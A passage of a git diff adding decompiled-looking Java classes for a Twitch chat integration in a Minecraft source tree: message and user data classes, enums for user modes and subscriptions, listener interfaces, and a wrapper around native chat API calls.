+    type = ChatMessageTokenType.TTV_CHAT_MSGTOKEN_TEXTURE_IMAGE;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatTextureSheet.java b/src/minecraft/tv/twitch/chat/ChatTextureSheet.java
new file mode 100644
index 0000000..a7f7af8
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatTextureSheet.java
@@ -0,0 +1,11 @@
+package tv.twitch.chat;
+
+public class ChatTextureSheet
+{
+  public int sheetIndex;
+  public byte[] buffer;
+  public int width;
+  public int height;
+  
+  public ChatTextureSheet() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatTokenizationOption.java b/src/minecraft/tv/twitch/chat/ChatTokenizationOption.java
new file mode 100644
index 0000000..f2a439e
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatTokenizationOption.java
@@ -0,0 +1,68 @@
+package tv.twitch.chat;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+
+
+
+
+
+
+public enum ChatTokenizationOption
+{
+  TTV_CHAT_TOKENIZATION_OPTION_NONE(0), 
+  TTV_CHAT_TOKENIZATION_OPTION_EMOTICON_URLS(1), 
+  TTV_CHAT_TOKENIZATION_OPTION_EMOTICON_TEXTURES(2);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(ChatTokenizationOption.class);
+    
+    for (ChatTokenizationOption localChatTokenizationOption : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localChatTokenizationOption.getValue()), localChatTokenizationOption);
+    }
+  }
+  
+  public static ChatTokenizationOption lookupValue(int paramInt)
+  {
+    ChatTokenizationOption localChatTokenizationOption = (ChatTokenizationOption)s_Map.get(Integer.valueOf(paramInt));
+    return localChatTokenizationOption;
+  }
+  
+  public static int getNativeValue(HashSet<ChatTokenizationOption> paramHashSet)
+  {
+    if (paramHashSet == null)
+    {
+      return TTV_CHAT_TOKENIZATION_OPTION_NONE.getValue();
+    }
+    
+    int i = TTV_CHAT_TOKENIZATION_OPTION_NONE.getValue();
+    
+    for (ChatTokenizationOption localChatTokenizationOption : paramHashSet)
+    {
+      if (localChatTokenizationOption != null)
+      {
+        i |= localChatTokenizationOption.getValue();
+      }
+    }
+    
+    return i;
+  }
+  
+  private static Map<Integer, ChatTokenizationOption> s_Map;
+  private int m_Value;
+  private ChatTokenizationOption(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatTokenizedMessage.java b/src/minecraft/tv/twitch/chat/ChatTokenizedMessage.java
new file mode 100644
index 0000000..171c879
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatTokenizedMessage.java
@@ -0,0 +1,15 @@
+package tv.twitch.chat;
+
+import java.util.HashSet;
+
+public class ChatTokenizedMessage
+{
+  public String displayName;
+  public HashSet<ChatUserMode> modes = new HashSet();
+  public HashSet<ChatUserSubscription> subscriptions = new HashSet();
+  public int nameColorARGB;
+  public ChatMessageToken[] tokenList;
+  public boolean action;
+  
+  public ChatTokenizedMessage() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatUrlImageMessageToken.java b/src/minecraft/tv/twitch/chat/ChatUrlImageMessageToken.java
new file mode 100644
index 0000000..cd15afb
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatUrlImageMessageToken.java
@@ -0,0 +1,16 @@
+package tv.twitch.chat;
+
+
+public class ChatUrlImageMessageToken
+  extends ChatMessageToken
+{
+  public String url;
+  
+  public short width;
+  public short height;
+  
+  public ChatUrlImageMessageToken()
+  {
+    type = ChatMessageTokenType.TTV_CHAT_MSGTOKEN_URL_IMAGE;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatUserInfo.java b/src/minecraft/tv/twitch/chat/ChatUserInfo.java
new file mode 100644
index 0000000..6872833
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatUserInfo.java
@@ -0,0 +1,17 @@
+package tv.twitch.chat;
+
+import java.util.HashSet;
+
+
+
+
+public class ChatUserInfo
+{
+  public String displayName = null;
+  public HashSet<ChatUserMode> modes = new HashSet();
+  public HashSet<ChatUserSubscription> subscriptions = new HashSet();
+  public int nameColorARGB = 0;
+  public boolean ignore = false;
+  
+  public ChatUserInfo() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatUserList.java b/src/minecraft/tv/twitch/chat/ChatUserList.java
new file mode 100644
index 0000000..048aede
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatUserList.java
@@ -0,0 +1,8 @@
+package tv.twitch.chat;
+
+public class ChatUserList
+{
+  public ChatUserInfo[] userList;
+  
+  public ChatUserList() {}
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatUserMode.java b/src/minecraft/tv/twitch/chat/ChatUserMode.java
new file mode 100644
index 0000000..bb7e921
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatUserMode.java
@@ -0,0 +1,50 @@
+package tv.twitch.chat;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+public enum ChatUserMode
+{
+  TTV_CHAT_USERMODE_VIEWER(0), 
+  
+  TTV_CHAT_USERMODE_MODERATOR(1), 
+  TTV_CHAT_USERMODE_BROADCASTER(2), 
+  TTV_CHAT_USERMODE_ADMINSTRATOR(4), 
+  TTV_CHAT_USERMODE_STAFF(8), 
+  
+  TTV_CHAT_USERMODE_BANNED(1073741824);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(ChatUserMode.class);
+    
+    for (ChatUserMode localChatUserMode : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localChatUserMode.getValue()), localChatUserMode);
+    }
+  }
+  
+  public static ChatUserMode lookupValue(int paramInt)
+  {
+    ChatUserMode localChatUserMode = (ChatUserMode)s_Map.get(Integer.valueOf(paramInt));
+    return localChatUserMode;
+  }
+  
+  private static Map<Integer, ChatUserMode> s_Map;
+  private int m_Value;
+  private ChatUserMode(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/ChatUserSubscription.java b/src/minecraft/tv/twitch/chat/ChatUserSubscription.java
new file mode 100644
index 0000000..deaff3c
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/ChatUserSubscription.java
@@ -0,0 +1,46 @@
+package tv.twitch.chat;
+
+import java.util.EnumSet;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+public enum ChatUserSubscription
+{
+  TTV_CHAT_USERSUB_NONE(0), 
+  
+  TTV_CHAT_USERSUB_SUBSCRIBER(1), 
+  TTV_CHAT_USERSUB_TURBO(2);
+  
+  static { s_Map = new HashMap();
+    
+
+
+    EnumSet localEnumSet = EnumSet.allOf(ChatUserSubscription.class);
+    
+    for (ChatUserSubscription localChatUserSubscription : localEnumSet)
+    {
+      s_Map.put(Integer.valueOf(localChatUserSubscription.getValue()), localChatUserSubscription);
+    }
+  }
+  
+  public static ChatUserSubscription lookupValue(int paramInt)
+  {
+    ChatUserSubscription localChatUserSubscription = (ChatUserSubscription)s_Map.get(Integer.valueOf(paramInt));
+    return localChatUserSubscription;
+  }
+  
+  private static Map<Integer, ChatUserSubscription> s_Map;
+  private int m_Value;
+  private ChatUserSubscription(int paramInt)
+  {
+    m_Value = paramInt;
+  }
+  
+  public int getValue()
+  {
+    return m_Value;
+  }
+}
diff --git a/src/minecraft/tv/twitch/chat/IChatAPIListener.java b/src/minecraft/tv/twitch/chat/IChatAPIListener.java
new file mode 100644
index 0000000..c8c26b6
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/IChatAPIListener.java
@@ -0,0 +1,12 @@
+package tv.twitch.chat;
+
+import tv.twitch.ErrorCode;
+
+public abstract interface IChatAPIListener
+{
+  public abstract void chatInitializationCallback(ErrorCode paramErrorCode);
+  
+  public abstract void chatShutdownCallback(ErrorCode paramErrorCode);
+  
+  public abstract void chatEmoticonDataDownloadCallback(ErrorCode paramErrorCode);
+}
diff --git a/src/minecraft/tv/twitch/chat/IChatChannelListener.java b/src/minecraft/tv/twitch/chat/IChatChannelListener.java
new file mode 100644
index 0000000..6385a9e
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/IChatChannelListener.java
@@ -0,0 +1,20 @@
+package tv.twitch.chat;
+
+import tv.twitch.ErrorCode;
+
+public abstract interface IChatChannelListener
+{
+  public abstract void chatStatusCallback(String paramString, ErrorCode paramErrorCode);
+  
+  public abstract void chatChannelMembershipCallback(String paramString, ChatEvent paramChatEvent, ChatChannelInfo paramChatChannelInfo);
+  
+  public abstract void chatChannelUserChangeCallback(String paramString, ChatUserInfo[] paramArrayOfChatUserInfo1, ChatUserInfo[] paramArrayOfChatUserInfo2, ChatUserInfo[] paramArrayOfChatUserInfo3);
+  
+  public abstract void chatChannelRawMessageCallback(String paramString, ChatRawMessage[] paramArrayOfChatRawMessage);
+  
+  public abstract void chatChannelTokenizedMessageCallback(String paramString, ChatTokenizedMessage[] paramArrayOfChatTokenizedMessage);
+  
+  public abstract void chatClearCallback(String paramString1, String paramString2);
+  
+  public abstract void chatBadgeDataDownloadCallback(String paramString, ErrorCode paramErrorCode);
+}
diff --git a/src/minecraft/tv/twitch/chat/StandardChatAPI.java b/src/minecraft/tv/twitch/chat/StandardChatAPI.java
new file mode 100644
index 0000000..7a3d460
--- /dev/null
+++ b/src/minecraft/tv/twitch/chat/StandardChatAPI.java
@@ -0,0 +1,141 @@
+package tv.twitch.chat;
+
+import tv.twitch.ErrorCode;
+
+public class StandardChatAPI extends ChatAPI { public StandardChatAPI() {}
+  
+  protected void finalize() {}
+  
+  private static native ErrorCode TTV_Java_Chat_Initialize(int paramInt, IChatAPIListener paramIChatAPIListener);
+  
+  private static native ErrorCode TTV_Java_Chat_Shutdown();
+  
+  private static native ErrorCode TTV_Java_Chat_Connect(String paramString1, String paramString2, String paramString3, IChatChannelListener paramIChatChannelListener);
+  
+  private static native ErrorCode TTV_Java_Chat_ConnectAnonymous(String paramString, IChatChannelListener paramIChatChannelListener);
+  
+  private static native ErrorCode TTV_Java_Chat_Disconnect(String paramString);
+  
+  private static native ErrorCode TTV_Java_Chat_SendMessage(String paramString1, String paramString2);
+  
+  private static native ErrorCode TTV_Java_Chat_FlushEvents();
+  
+  private static native ErrorCode TTV_Java_Chat_DownloadEmoticonData();
+  
+  private static native ErrorCode TTV_Java_Chat_GetEmoticonData(ChatEmoticonData paramChatEmoticonData);
+  
+  private static native ErrorCode TTV_Java_Chat_ClearEmoticonData();
+  
+  private static native ErrorCode TTV_Java_Chat_DownloadBadgeData(String paramString);
+  
+  private static native ErrorCode TTV_Java_Chat_GetBadgeData(String paramString, ChatBadgeData paramChatBadgeData);
+  
+  private static native ErrorCode TTV_Java_Chat_ClearBadgeData(String paramString);
+  
+  private static native long TTV_Java_Chat_GetMessageFlushInterval();
+  
+  private static native ErrorCode TTV_Java_Chat_SetMessageFlushInterval(long paramLong);
+  
+  private static native long TTV_Java_Chat_GetUserChangeEventInterval();
+  
+  private static native ErrorCode TTV_Java_Chat_SetUserChangeEventInterval(long paramLong);
+  public ErrorCode initialize(java.util.HashSet<ChatTokenizationOption> paramHashSet, IChatAPIListener paramIChatAPIListener) { int i = ChatTokenizationOption.getNativeValue(paramHashSet);
+    return TTV_Java_Chat_Initialize(i, paramIChatAPIListener);
+  }
+  
+
+  public ErrorCode shutdown()
+  {
+    return TTV_Java_Chat_Shutdown();
+  }
+  
+
+  public ErrorCode connect(String paramString1, String paramString2, String paramString3, IChatChannelListener paramIChatChannelListener)
+  {
+    return TTV_Java_Chat_Connect(paramString1, paramString2, paramString3, paramIChatChannelListener);
+  }
+  
+
+  public ErrorCode connectAnonymous(String paramString, IChatChannelListener paramIChatChannelListener)
+  {
+    return TTV_Java_Chat_ConnectAnonymous(paramString, paramIChatChannelListener);
+  }
+  
+
+  public ErrorCode disconnect(String paramString)
+  {
+    return TTV_Java_Chat_Disconnect(paramString);
+  }
+  
+
+  public ErrorCode sendMessage(String paramString1, String paramString2)
+  {
+    return TTV_Java_Chat_SendMessage(paramString1, paramString2);
+  }
+  
+
+  public ErrorCode flushEvents()
+  {
+    return TTV_Java_Chat_FlushEvents();
+  }
+  
+
+  public ErrorCode downloadEmoticonData()
+  {
+    return TTV_Java_Chat_DownloadEmoticonData();
+  }
+  
+
+  public ErrorCode getEmoticonData(ChatEmoticonData paramChatEmoticonData)
+  {
+    return TTV_Java_Chat_GetEmoticonData(paramChatEmoticonData);
+  }
+  
+
+  public ErrorCode clearEmoticonData()
+  {
+    return TTV_Java_Chat_ClearEmoticonData();
+  }
+  
+
+  public ErrorCode downloadBadgeData(String paramString)
+  {
+    return TTV_Java_Chat_DownloadBadgeData(paramString);
+  }
+  
+
+  public ErrorCode getBadgeData(String paramString, ChatBadgeData paramChatBadgeData)
+  {
+    return TTV_Java_Chat_GetBadgeData(paramString, paramChatBadgeData);
+  }
+  
+
+  public ErrorCode clearBadgeData(String paramString)
+  {
+    return TTV_Java_Chat_ClearBadgeData(paramString);
+  }
+  
+
+  public int getMessageFlushInterval()
+  {
+    return (int)TTV_Java_Chat_GetMessageFlushInterval();
+  }
+  
+
+  public ErrorCode setMessageFlushInterval(int paramInt)
+  {
+    return TTV_Java_Chat_SetMessageFlushInterval(paramInt);
+  }
+  
+
+  public int getUserChangeEventInterval()
+  {
+    return (int)TTV_Java_Chat_GetUserChangeEventInterval();
+  }
+  
+
+  public ErrorCode setUserChangeEventInterval(int paramInt)
+  {
+    return TTV_Java_Chat_SetUserChangeEventInterval(paramInt);
+  }
+}